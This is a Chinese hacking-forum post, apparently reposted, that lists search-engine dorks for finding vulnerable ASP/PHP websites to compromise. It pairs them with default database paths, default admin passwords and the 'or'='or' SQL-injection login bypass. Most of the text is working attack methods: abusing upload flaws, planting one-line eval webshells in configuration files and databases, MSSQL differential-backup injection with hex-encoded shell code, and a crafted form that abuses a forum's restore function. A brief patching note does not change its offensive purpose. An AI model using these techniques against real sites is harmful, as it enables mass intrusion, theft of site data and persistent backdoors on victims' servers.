1,
到GoogLe,搜索一些关键字,edit.asp? 韩国肉鸡为多,多数为MSSQL数据库!
2,
到Google ,site:cq.cn inurl:asp
3,
利用挖掘鸡和一个ASP***.
文件
名是login.asp
路径组是/manage/
关键词是 went.asp
用'or'='or'来登陆
4,
关键字：Co Net MIB Ver 1.0网站后台管理
系统帐号密码为 'or'='or'
5.
动感购物系统
inurl:help.asp 登陆，如未注册成为会员!
upLoad_bm1.asp和upLoad_c1.asp这两个随便选个，一般管理员都忽视了这2漏洞
6。
默 认数据库地址blogdata/acblog.asa
关键字：acblog
7.
百度 /htdocs
注册里可以 直接上传asa文件！
8.
/Database/#newasp.mdb
关键词：NewAsp SiteManageSystem Version
9.
用挖掘机
关键字：Powered by WEBBOY
页 面：/upfile.asp
10.
baidu中搜索关键字Ver5.0 Build 0519
(存在上传漏洞)
11.
Upfile_Article.asp bbs/upfile.asp
输入关键字：powered by mypower ，
12.
inurl:winnt\system32\inetsrv\ 在google里面输入这个就可以找到很多
网站13.
现在GOOGLE搜索关键字 intitle:网站小 助手 inurl:asp
14.
键字： 首页 最新动态 新手指南 舞曲音乐 下载中心 经典文章 玩家风采装备
购买 站内流言 友情连接 本站
论坛挖掘鸡的关键字 添 setup.asp
15.
VBulletin 论坛的数据库
默认数据库地址!
/includes/functions.php
工具:
1.网站猎手 下载地址:百度 Google!
2.Google
关键字:
Powered by: vBulletin Version 3.0.1
Powered by: vBulletin Version 3.0.2
Powered by: vBulletin Version 3.0.3
其 中一个就可以了
16.
1.打开百度或GOOGLE搜索，输入powered by comersus ASP shopping cart
open source。 这是一个商场系统。
2.网站的最底部分，有个 Comersus Open Technologies LC。打开看下
~~comersus系统~
猜到,comersus.mdb. 是数据库名
数据库都是 放在database/ 后的,
所以database/comersus.mdb
comersus_listCategoriesTree.asp 换成database/comersus.mdb，不能下载。
那样把前一个''store/''除去，再加上database /comersus.mdb 试试
17.
无忧传奇官方站点程序。
1、后台管理地址：http://您的域名 /msmiradmin/
2、默认后台管理帐号：msmir
3、默认后台管理密 码：msmirmsmir
数据库文件为 http://您的域名/msmirdata/msmirArticle.mdb
数据库连接文件 为 ***********/Conn.asp
18.
百度里输入/skins/default/
19.
利用挖掘机
关 键机:power by Discuz
路径:/wish.php
配合:
Discuz!论坛 wish.php远程包含漏洞 工具使用
20.
上传漏洞.
工具 : Domain3.5
网站猎手 1.5版
关键字 powered by mypower
检测的页面或文件插入upfile_photo.asp
21.
新云漏洞
这个漏洞 ACCESS和SQL版通吃。
Google搜索关键字 "关于本站 - 网站帮助 - 广告合作 - 下载声明 - 友情连接
- 网站地图 - 管理登录"
把flash/downfile.asp?url=uploadfile/../../conn.asp提交到网站根目 录。就
可以下载conn.asp
以源码，
软件等下载站居多。
大家时常碰到数据库如果前面或者中间+了# 可以用%23替换就可以下载了
\database\%23newasp.mdb
如：#xzws.mdb 改成%23xzws.mdb
22.
通 吃所有商城+动力上传系统
使用工具:挖掘鸡 v1.1 明小子
商城***:
关键字:选购->加入购物车->去收银台 ->确认收货人信息->选付款方式->选配送
方式->在线支付或下单后汇款->汇款确认->发货-> 完成
漏洞页面:upload.asp
upfile_flash.asp
动力***:
关键 字:powered by mypower
漏洞页面:upfile_photo.asp
Upfile_Soft.asp
upfile_adpic.asp
upfile_softpic.asp
23.
注 射漏洞
百度搜索ioj's blog
24
动易
列目录
admin_articlerecyclebin.asp
inurl:admin_articlerecyclebin.asp
25.
工 具:网站猎手
关键词:inurl:Went.asp
后缀:manage/login.asp
口令:'or'='or'
26.
入 侵魔兽私服
需要的工具：ASP***一只。
Domain3.5明小子
关键字：All Right Reserved Design:游戏联盟
后台地址：admin/login.asp
数据库的地 址：chngame/#chngame.mdb
27.
漏洞是利用管理员iis设置的失误
用baidu 关键字就是比较罕见的脚本名
动网: ReloadForumCache.asp
Leadbbs: makealltopanc.asp
BBSXP: admin_fso.asp
动易: admin_articlerecyclebin.asp
28.
国外站的爆库漏洞
关 键字：sad Raven's Guestbook
密码地址:/passwd.dat
后台地址:/admin.php
29.
Discuz 4.1.0跨站漏洞
利用工具:1,WAP浏览器
2,WAP编码转换器
关键字:"intextiscuz! 4.1.0"
30.
关键字：尚奈克斯
后台路径/system/manage.asp
直接传ASP***
31.
工 具
1:网站猎手
2:大马一个
关键字:切勿关闭Cookies功能，否则您将不能登录
插入diy.asp
32.
关 键字:Team5 Studio All rights reserved
默认数据库:data/team.mdb
33.
工 具: 挖掘机 辅臣数据库读取器
关键字: 企业简介 产品展示产品列表
后缀添加: /database/myszw.mdb
后台地址: admin/Login.asp
34.
关键子 XXX inurl:Nclass.asp
在"系统设置"里写个***。
会被保存到 在 config.asp内。
35.
不进后台 照样拿动网WEBSHELL
data.asp?action=BackupData 动网数据库备份默认路径
36.
工 具:网站猎手 WebShell
关键字:inurl:Went.asp
后缀:manage/login.asp
弱口 令:'or'='or'
37.
关键字owered byCDN_NEWS
随便扫遍文章加一个' ,来试探注入点
后台地 址:admin_index.asp
38.
***雷池新闻发布系统
关键字:leichinews
去掉leichinews 后面的.
打上:admin/uploadPic.asp?actionType=mod&picName=xuanran.asp
再 上传马.....
进访问uppic anran.asp 登陆马.
39.
关键字ower System Of Article Management Ver 3.0 Build 20030628
默认数据 库:database\yiuwekdsodksldfslwifds.mdb
后台地址:自己扫描!
40.
一、通过 GOOGLE搜索找大量注入点
关键字：asp?id=1 gov.jp/ asp?id=
页数：100
语言：想***哪 个国家就填
什么语言吧
41.
关键字：Powered by:94KKBBS 2005
利 用密码找回功能 找回admin
提问:ddddd 回答:ddddd
42.
关键字:inurl:Went.asp
后台为 manage/login.asp
后台密码: 'or'=' 或者 'or''=''or' 登录 进入
默认数据库地址 atabase/DataShop.mdb
43.
关键字:六合彩 inurl:readnews.asp
把最后一个/改成%5c ,直接暴库,看密码,进后台
随便添加个新闻 在标题输入我们的一句话***
44.
工具:一句话***
BBsXp 5.0 sp1 管理员猜解器
关键词:powered by bbsxp5.00
进后台,备份一句话马!
45.
关键 字：程序核心：BJXSHOP网上开店专家
后台:/admin
46
批量***新云系统！
搜索关键词:关于本站 网站帮助 广告合作 下载声明 友情连接 网站
地图
找到以后缀添加:user/reg.asp
工具：啊D注入D_SQLTools2.0 和COOKIES欺骗工具
先来注册 发布个文章 得到的地址用啊D扫下 他默认的表段名字是NC_admin
转载请注明出自*** 手册技术论坛
http://www.nohack.cn/bbs/本 贴地址:
http://www.nohack.cn/bbs/thread-92388-1-1.html一： 对MD5密码.有时我们不是哪么容易跑出来.如果是[SQL数据库].那么我们可以用以下命令:
http://注入网址;update admin set password='新MD5密码' where password='旧MD5密码'-- [admin为表名.]
一、 直接上传获得webshell
这种对php和jsp的一些程序比较常见，MolyX BOARD就是其中一例，直接在心情图标管理上传.php类型，虽然没有提示，其实已经成功了，上传的文件url应该是
http://forums/images/smiles/下，前一阵子的联众游戏站和 网易的jsp系统漏洞就可以直接上传jsp文件。文件名是原来的文件名，bo-blog后台可以可以直接上传.php文件，上传的文件路径有提示。以及一 年前十分流行的upfile.asp漏洞(动网5.0和6.0、早期的许多整站系统)，因过滤上传文件不严，导致用户可以直接上传webshell到网站 任意可写目录中，从而拿到网站的管理员控制权限。
二、添加修改上传类型
现在很多的脚本程序上传模块不是只允 许上传合法文件类型，而大多数的系统是允许添加上传类型，bbsxp后台可以添加asa asP类型，ewebeditor的后台也可添加asa类型,通 过修改后我们可以直接上传asa后缀的webshell了,还有一种情况是过滤了.asp，可以添加.aspasp的文件类型来上传获得 webshell。php系统的后台，我们可以添加.php.g1f的上传类型，这是php的一个特性,最后的哪个只要不是已知的文件类型即可，php会 将php.g1f作为.php来正常运行,从而也可成功拿到shell。LeadBbs3.14后台获得webshell方法是：在上传类型中增加asp ，注意，asp后面是有个空格的，然后在前台上传ASP马，当然也要在后面加个空格！
三、利用后台管理功能写入webshell
上传漏洞基本上补的也差不多了,所以我们进入后台后还可以通过修改相关文件来写入webshell。比较的典型的有 dvbbs6.0，还有leadbbs2.88等，直接在后台修改配置文件，写入后缀是asp的文件。而LeadBbs3.14后台获得webshell 另一方法是：添加一个新的友情链接，在网站名称处写上冰狐最小马即可,最小马前后要随便输入一些字符，http:\\网站\inc\IncHtm \BoardLink.asp就是我们想要的shell。
四、利用后台管理向配置文件写webshell
利 用"""":""//"等符号构造最小马写入程序的配置文件，joekoe论坛，某某同学录，沸腾展望新闻系统，COCOON Counter统计程序等等，还有很多php程序都可以，COCOON Counter统计程序举例，在管理邮箱处添上
[email protected]":eval request(chr (35))//, 在配制文件中就是webmail="
[email protected]\":eval request(chr(35))//"，还有一种方法就是写上
[email protected]" %＞＜%eval request(chr(35))%＞＜%'，这样就会形成前后对应，最小马也就运行了。＜%eval request(chr(35))%＞可以用lake2的eval发送端以及最新的2006 客户端来连，需要说明的是数据库插马时候要选前者。再如动易2005，到文章中心管理-顶部菜单设置-菜单其它特效，插入一句话马"%＞ ＜%execute request("l")%＞＜%'，保 存顶部栏目菜单参数设置成功后，我们就得到马地址http://网站/admin/rootclass_menu_config.asp。
五、利用后台数据库备份及恢复获得webshell
主要是利用后台对access数据库的“备份数据库”或“恢复数据库”功能， “备份的数据库路径”等变量没有过滤导致可以把任意文件后缀改 为asp，从而得到webshell，msssql版的程序就直接应用了access版的代码，导致sql版照样可以利用。还可以备份网站asp文件为其 他后缀 如.txt文件，从而可以查看并获得网页源代码，并获得更多的程序信息增加获得webshell的机会。在实际运用中经常会碰到没有上传功能的时 候，但是有asp系统在运行，利用此方法来查看源代码来获得其数据库的位置，为数据库插马来创造机会，动网论坛就有一个ip地址的数据库，在后台的ip管 理中可以插入最小马然后备份成.asp文件即可。在谈谈突破上传检测的方法，很多asp程序在即使改了后缀名后也会提示文件非法，通过在.asp文件头加 上gif89a修改后缀为gif来骗过asp程序检测达到上传的目的，还有一种就是用记事本打开图片文件，随便粘贴一部分复制到asp***文件头，修改 gif后缀后上传也可以突破检测，然后备份为.asp文件，成功得到webshell。
六、利用数据库压缩功能
可以将数据的防下载失效从而使插入数据库的最小马成功运行，比较典型的就是loveyuki的L-BLOG，在友情添加的url出写上＜%eval request (chr(35))%＞, 提交后，在数据库操作中压缩数据库，可以成功压缩出.asp文件，用海洋的最小马的eval客户端连就得到一个webshell。
七、 asp+mssql系统
这里需要提一点动网mssql版，但是可以直接本地提交来备份的。首先在发帖那上传一个写有asp代码的假 图片，然后记住其上传路径。写一个本地提交的表单，代码如下：
＜form action=http://网站/bbs/admin_data.asp?action=RestoreData&act=Restore method="post"＞
＜p＞已上传文件的位置：＜input name="Dbpath" type="text" size="80"＞＜/p＞
＜p＞要复制到的位置：＜input name="backpath" type="text" size="80"＞＜/p＞
＜p＞＜input type="submit" value="提交"＞＜/p＞ ＜/form＞
另存为.htm本地执行。把假图片上传路径填在“已上传文件的位置”那里，想要备份的WebShell的相对路径填写在“要复制到 的位置”那里，提交就得到我们可爱的WebShell了，恢复代码和此类似，修改相关地方就可以了。没有遇到过后台执行mssql命令比较强大的asp程 序后台，动网的数据库还原和备份是个摆设，不能执行sql命令备份webshell，只能执行一些简单的查询命令。可以利用mssql注入差异备份 webshell，一般后台是显示了绝对路径，只要有了注入点基本上就可以差异备份成功。下面是差异备份的主要语句代码，利用动网7.0的注入漏洞可以用 差异备份一个webshell，可以用利用上面提到的方法，将conn.asp文件备份成.txt文件而获得库名。
差异备份的主要 代码：
;declare @a sysname,@s varchar(4000) select @a=db_name(),@s=0x626273 backup database @a to disk=@s--
;Drop table [heige];create table [dbo].[heige] ([cmd] [image])--
;insert into heige(cmd) values(0x3C2565786563757465207265717565737428226C2229253E)--
;declare @a sysname,@s varchar(4000) select @a=db_name(),@s=0x643A5C7765625C312E617370 backup database @a to disk=@s WITH DIFFERENTIAL,FORMAT--
这段代码中，0x626273是要备份的库名bbs的十六进制，可以是其 他名字比如bbs.bak; 0x3C2565786563757465207265717565737428226C2229253E是＜%execute request("l")%＞的十六进制，是lp最小马；0x643A5C7765625C312E617370是d:\web\1.asp的十六进制, 也就是你要备份的webshell路径。当然也可以用比较常见备份方式来获得webshell，唯一的不足就是备份后的文件过大，如果备份数据库中有防下 载的的数据表，或者有错误的asp代码，备份出来的webshell就不会成功运行，利用差异备份是成功率比较高的方法，并且极大的减少备份文件的大小。
八、php+mysql系统
后台需要有mysql数据查询功能,我们就可以利用它执行SELECT ... INTO OUTFILE查询输出php文件，因为所有的数据是存放在mysql里的，所以我们可以通过正常手段把我们的webshell代码插入mysql在利用 SELECT ... INTO OUTFILE语句导出shell。
就可以暴出路径，php环境中比较容易暴出绝对路径：）。提一点的是 遇到是mysql在win系统下路径应该这样写。下面的方法是比较常用的一个导出webshell的方法，也可以写个vbs添加系统管理员的脚本导出到启 动文件夹，系统重起后就会添加一个管理员帐号
就会在up目录下生成文件名为saiy.php内容为的最小php***， 最后用lanker的客户端来连接。实际运用中要考虑到文件夹是否有写权限。或者输入这样的代码 将会在当前目录生成一个a.php的最小马。
九、phpwind论坛从后台到webshell的三种方式
方式1 模板法
进入后台， 风格模版设置 ，在随便一行写代码，记住，这代码必须顶着左边行写，代码前面不可以有任何字符。
方始2 脏话过滤法
方式3 用户等级管理
以上三种方式得到webshellr的密码是a,为lanker的一句话后门服务端。
十、也 可以利用网站访问计数系统记录来获得webshell
解决方案
由于本文涉及的代码版本很多，所以不可能提供 一个完美的解决方案。有能力者可以针对本文提到的漏洞文件进行适当修补，若漏洞文件不影响系统使用也可删除此文件。大家如果不会修补，可以到相关官方网站 下载最新补丁进行修复更新。同时也请大家能时刻关注各大
安全网络发布的最新公告，若自己发现相关漏洞也可及时通知官方网站
二 搜索肉机
1,
到GoogLe,搜索一些关键字,edit.asp? 韩国肉鸡为多,多数为MSSQL数据库!
2,
到Google ,site:cq.cn inurl:asp
3,
利用挖掘鸡和一个ASP***.
文件名是login.asp
路径组是 /manage/
关键词是went.asp
用'or'='or'来登陆
4,
关键字：Co Net MIB Ver 1.0网站后台管理系统
帐号密码为 'or'='or'
5.
动感购物系统
inurl:help.asp登陆，如未注册成 为会员!
upLoad_bm1.asp和upLoad_c1.asp这两个随便选个，一般管理员都忽视了这2漏洞
6。
默认数据库 地址blogdata/acblog.asa
关键字：acblog
7.
百度 /htdocs
注册里可以直接上传asa文 件！
8.
/Database/#newasp.mdb
关键词：NewAsp SiteManageSystem Version
9.
用 挖掘机
关键字：Powered by WEBBOY
页面：/upfile.asp
10.
baidu中搜索关键字 Ver5.0 Build 0519
(存在上传漏洞)
11.
Upfile_Article.asp bbs/upfile.asp
输入关键字：powered by mypower ，
12.
inurl:winnt\system32\inetsrv\ 在google里面输入这个就可以找到很多网站
13.
现在GOOGLE搜索关键字 intitle:网站小助手 inurl:asp
14.
键 字： 首页 最新动态 新手指南 舞曲音乐 下载中心 经典文章 玩家风采装备
购买 站内流言 友情连接 本站论坛
挖掘鸡的关键字 添 setup.asp
15.
VBulletin论坛的数据库
默认数据库地址!
/includes/functions.php
工 具:
1.网站猎手 下载地址:百度 Google!
2.Google
关键字:
Powered by: vBulletin Version 3.0.1
Powered by: vBulletin Version 3.0.2
Powered by: vBulletin Version 3.0.3
其中一个就可以了
16.
1.打开百度或GOOGLE搜索，输入 powered by comersus ASP shopping cart
open source。 这是一个商场系统。
2.网站的 最底部分，有个 Comersus Open Technologies LC。打开看下
~~comersus系统~
猜 到,comersus.mdb. 是数据库名
数据库都是放在database/ 后的,
所以database/comersus.mdb
comersus_listCategoriesTree.asp 换成database/comersus.mdb，不能下载。
那样把前一个''store/''除去，再加上database /comersus.mdb 试试
17.
无忧传奇官方站点程序。
1、后台管理地址：http://您的域名 /msmiradmin/
2、默认后台管理帐号：msmir
3、默认后台管理密码：msmirmsmir
数据库文件为 http://您的域名/msmirdata/msmirArticle.mdb
数据库连接文件为 ***********/Conn.asp
18.
百 度里输入/skins/default/
19.
利用挖掘机
关键机:power by Discuz
路 径:/wish.php
配合:
Discuz!论坛 wish.php远程包含漏洞 工具使用
20.
上传漏洞.
工 具 : Domain3.5
网站猎手 1.5版
关键字powered by mypower
检测的页面或文件插入 upfile_photo.asp
21.
新云漏洞
这个漏洞ACCESS和SQL版通吃。
Google搜索关键字 "关于本站 - 网站帮助 - 广告合作 - 下载声明 - 友情连接
- 网站地图 - 管理登录"
把 flash/downfile.asp?url=uploadfile/../../conn.asp提交到网站根目录。就
可以下载 conn.asp
以源码，软件等下载站居多。
大家时常碰到数据库如果前面或者中间+了# 可以用%23替换就可以下载了
\database\%23newasp.mdb
如：#xzws.mdb 改成%23xzws.mdb
22.
通吃所有商城+动力上传系统
使用工具:挖掘鸡 v1.1 明小子
商城***:
关 键字:选购->加入购物车->去收银台->确认收货人信息->选付款方式->选配送
方式->在线支付或下单 后汇款->汇款确认->发货->完成
漏洞页面:upload.asp
upfile_flash.asp
动力 ***:
关键字:powered by mypower
漏洞页面:upfile_photo.asp
Upfile_Soft.asp
upfile_adpic.asp
upfile_softpic.asp
23.
注 射漏洞
百度搜索ioj's blog
24
动易
列目录
admin_articlerecyclebin.asp
inurl:admin_articlerecyclebin.asp
25.
工 具:网站猎手
关键词:inurl:Went.asp
后缀:manage/login.asp
口令:'or'='or'
26.
入 侵魔兽私服
需要的工具：ASP***一只。
Domain3.5明小子
关键字：All Right Reserved Design:游戏联盟
后台地址：admin/login.asp
数据库的地址：chngame/#chngame.mdb
27.
漏 洞是利用管理员iis设置的失误
用baidu 关键字就是比较罕见的脚本名
动网: ReloadForumCache.asp
Leadbbs: makealltopanc.asp
BBSXP: admin_fso.asp
动易: admin_articlerecyclebin.asp
28.
国外站的爆库漏洞
关键字：sad Raven's Guestbook
密码地址:/passwd.dat
后台地址:/admin.php
29.
Discuz 4.1.0跨站漏洞
利用工具:1,WAP浏览器
2,WAP编码转换器
关键字:"intextiscuz! 4.1.0"
30.
关 键字：尚奈克斯
后台路径/system/manage.asp
直接传ASP***
31.
工具
1:网站猎手
2: 大马一个
关键字:切勿关闭Cookies功能，否则您将不能登录
插入diy.asp
32.
关键字:Team5 Studio All rights reserved
默认数据库:data/team.mdb
33.
工具: 挖掘机 辅臣数据库读取器
关键字: 企业简介 产品展示产品列表
后缀添加: /database/myszw.mdb
后台地址: admin/Login.asp
34.
关键子 XXX inurl:Nclass.asp
在"系统设置"里写个***。
会 被保存到 在 config.asp内。
35.
不进后台照样拿动网WEBSHELL
data.asp?action=BackupData 动网数据库备份默认路径
36.
工具:网站猎手 WebShell
关键字:inurl:Went.asp
后 缀:manage/login.asp
弱口令:'or'='or'
37.
关键字owered byCDN_NEWS
随便 扫遍文章加一个' ,来试探注入点
后台地址:admin_index.asp
38.
***雷池新闻发布系统
关键 字:leichinews
去掉leichinews后面的.
打 上:admin/uploadPic.asp?actionType=mod&picName=xuanran.asp
再上传 马.....
进访问uppic anran.asp 登陆马.
39.
关键字ower System Of Article Management Ver 3.0 Build 20030628
默认数据 库:database\yiuwekdsodksldfslwifds.mdb
后台地址:自己扫描!
40.
一、通过 GOOGLE搜索找大量注入点
关键字：asp?id=1 gov.jp/ asp?id=
页数：100
语言：想***哪个国家就填 什么语言吧
41.
关键字：Powered by:94KKBBS 2005
利用密码找回功能 找回admin
提 问:ddddd 回答:ddddd
42.
关键字:inurl:Went.asp
后台为manage/login.asp
后 台密码: 'or'=' 或者 'or''=''or' 登录 进入
默认数据库地址atabase/DataShop.mdb
43.
关 键字:六合彩 inurl:readnews.asp
把最后一个/改成%5c ,直接暴库,看密码,进后台
随便添加个新闻 在标题输入我们的一句话***
44.
工具:一句话***
BBsXp 5.0 sp1 管理员猜解器
关键词:powered by bbsxp5.00
进后台,备份一句话马!
45.
关键字：程序核心：BJXSHOP网上开店专家
后 台:/admin
46
批量***新云系统！
搜索关键词:关于本站 网站帮助 广告合作 下载声明 友情连接 网站
地图
找 到以后缀添加:user/reg.asp
工具：啊D注入D_SQLTools2.0和COOKIES欺骗工具
先来注册 发布个文章 得到的地址用啊D扫下 他默认的表段名字是NC_admin
键字：Power WenDay Ver1.0
添加： /db/PW_SYS_Data.mdb
关键字：powered by WEBBOY
添加： /upfile.asp
关键字：Powered By ：SMT Version 5.0
添加： /bbs/upfile.asp /upfile_flash.asp
关键字：team5 studio all rights reserved
添加： /data/team.mdb
关键字：传奇私服
添加： /msmirdata/msmirArticle.mdb(默认数据库)
后 台管理地址:http;//您的域名/msmiradmin/
关键字:同城约会 贺卡传情 情感随笔 热门投票
添加: /admin/upload_file.asp (明小子上传)
关键字: 公司后台
添加： /manage/Login.asp （用"or"="or"）
关键字：企业邮局 企业荣誉 营销网络 产品分类 信息反馈 联系我们 收藏本站 网站管理
添加： /admin/login.asp (后台管理地址,管理员帐号密码=admin)
关键字：by wygk
添加：/data /scadata.mdzhaozhon
关键字: Power System Of Article Management Ver 3.0 Build 20030628
添加: /database\yiuwekdsodksldfslwifds.mdb (后台的后缀全是/admin_index.asp)
关键字: Foosun
添加: /Foosun_Data/FS400.mdbAdmin/login.asp (后台的后缀全是admin/login.asp)
关键 字：Powered By Kesion Inc
默认数据库 ks_data/ks_database.mdb
关键字： inurl:qq.txt （啊拉）
inurl:Mz.txt （极限居）
inurlQCJB.txt （QQ冲击波）
inurl:qqnum.txt （完美）
1、如在网站中找到诸如：“请登录后再使用本功能！”这样的就可以用明小子上传试试
2、使用明小子上传时选择“动力上传漏洞— /upfile_softpic.asp页面”
明小子关键词：
1.ProductShow.asp?ArticleID=
2.inurl:show_news.asp?id=
3.site inurl:Article_Print.asp
9.4.edit.asp?
5.site:cq.cn inurl:asp
6.intitle: 网站小助手
7.powered by comersus ASP shopping cart
open source
8./skins/default/
9. 动力上传系统
10.oioj's blog
11.动网: ReloadForumCache.asp
12."intext:Discuz! 4.1.0"
13.尚奈克斯
14.Team5 Studio All rights reserved
15.XXX inurl:Nclass.asp
16.Powered by:QCDN_NEWS
17.发布系统
18.asp?id=1
19.Powered by:94KKBBS 2005
20.inurl:readnews.asp
21.程序核心
经典的用户名密码
'or'='or'
'or'1'='1
这 2个密码在很多网站后台,QQ空间相册都可以登陆,不过不是100%而已....
inurl: 用于搜索网页上包含的URL. 这个语法对寻找网页上的搜索,帮助之类的很有用.
intext: 只搜索网页<body>部分中包含的文字(也就是忽略了标题,URL等的文字).
site: 可以限制你搜索范围的域名.